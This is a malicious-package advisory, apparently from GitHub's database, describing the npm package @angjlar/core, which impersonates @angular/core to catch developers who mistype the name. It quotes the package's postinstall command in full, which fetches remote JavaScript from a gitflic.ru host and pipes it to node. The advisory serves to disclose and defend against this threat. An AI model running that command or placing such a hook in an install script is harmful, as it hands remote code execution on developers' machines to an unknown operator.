npm · Malicious package advisory
Malware@angjlar/core
GHSA-m2v2-6rv3-7f7v
Malicious code in @angjlar/core (npm)
Details
**Severity:** Critical
**Affected versions:** `= 22.2.1`
## Source: amazon-inspector (1dc3c51d631036eabc2b2933bcf3b7f2c08fe45d193136641e484456ba55a6d9)
Package @angjlar/core impersonates @angular/core: its package.json copies the real Angular project's description ('Angular - the core framework'), author ('angular'), and repository URL (github.com/angular/angular.git), while publishing under the lookalike scope @angjlar. The postinstall lifecycle script in package.json runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node`, fetching unpinned, mutable JavaScript from a non-publisher host (gitflic.ru, proxied through web.archive.org) and piping it to the node interpreter. On `npm install`, this gives the operator of that remote script arbitrary code execution on the installer's machine. The package has no legitimate relationship to Angular; the impersonating metadata exists solely to lure developers who mistype @angular/core into installing the dropper.
---
Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@angjlar/core/MAL-2026-17534.json))
**References:**
- https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@angjlar/core/MAL-2026-17534.json
- https://www.npmjs.com/package/@angjlar/core/v/22.2.1
- https://github.com/advisories/GHSA-m2v2-6rv3-7f7vCompromised versions (1)
- = 22.2.1
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.